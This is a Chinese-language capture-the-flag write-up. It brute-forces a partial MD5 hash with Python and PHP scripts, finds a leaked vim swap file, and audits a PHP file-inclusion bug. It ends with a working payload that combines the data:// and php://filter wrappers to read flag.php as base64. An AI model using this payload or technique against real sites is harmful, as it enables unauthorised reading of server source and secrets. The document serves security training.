Doc
解题过程如下
首先写脚本
爆破出md5,建议采用python或者php
#coding:utf-8
#python3
import hashlib
import time
t = time.time()
l = 'qwertyuiopasdfghjklzxcvbnm'
for i in l:
for j in l:
for k in l:
for m in l:
for n in l:
for o in l:
f = 'y' + i + j + k + m + n + o #+ p
md5 = hashlib.md5(f.encode(encoding='UTF-8')).hexdigest()
if md5[:4] == '9d92' and md5[-4:] == 'b24e':
print(f)
print(md5)
print(time.time()-t)
<?php
$l = 'qwertyuiopasdfghjklzxcvbnm';
for ($i = 0 ; $i < 26 ; $i + = 1){
for ($j = 0 ; $j < 26 ; $j + = 1){
for ($k = 0 ; $k < 26 ; $k + = 1){
for ($m = 0 ; $m < 26 ; $m + = 1){
for ($n = 0 ; $n < 26 ; $n + = 1){
for ( $o = 0 ; $o < 26 ; $o + = 1){
$str = 'y'.$l[$i].$l[$j].$l[$k].$l[$m].$l[$n].$l[$o];
$md5 = md5($str);
if (substr($md5 , 0 , 4)==='9d92'){
if (substr($md5 , -4) === 'b24e'){
echo $md5.PHP_EOL;
echo $str.PHP_EOL;
}
}
}
}
}
}
}
}
echo "End~";
?>
爆出来的结果都是9d9208a0bda5b582cc5baffd5bf6b24e
,明文是ytxyyds
.
然后是扫描
用扫描器扫描一下,发现了一个flag.php
然后看到了这个
如果你的字典足够强大,应该能扫描到Login.php.swp
,考点是vim文件泄露
,或者是文件备份
。
好像火狐和谷歌展现出来的不太一样:
代码审计
接下来就是代码审计。简单还是很简单的,主要就是文件包含漏洞,绕过前两个检测就行,具体分析如下:
<?php
error_reporting(0);
echo "Flag in flag.php";
$text = $_GET["text"]; //接受text传参
$file = $_GET["file"]; //接受file传参
if(isset($text)&&!preg_match("/php:\/\/input/i",$text)&&(file_get_contents($text,'r')==="YTXyyds")){ //text中不允许出现"php://",读取text的文件的内容要为YTXyyds
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
include($file); //在这里进行文件包含
}
?>
想要让file_get_contents($text,'r')
的内容变为YTXyyds
可以采用两种PHP伪协议,一种是php://input
,另一种是data://text
,由于这里过滤了php://input
,所以采用
?text=data://text/plain,YTXyyds
file
的话就很简单了,只是普通的文件读取,用php://filter/read=convert.base64-encode/resource=
就行。总结出payload:
?text=data://text/plain,YTXyyds&file=php://filter/read=convert.base64-encode/resource=flag.php
考核的时候动态flag看不到这个flag,以此纪念 /手动示爱 23333333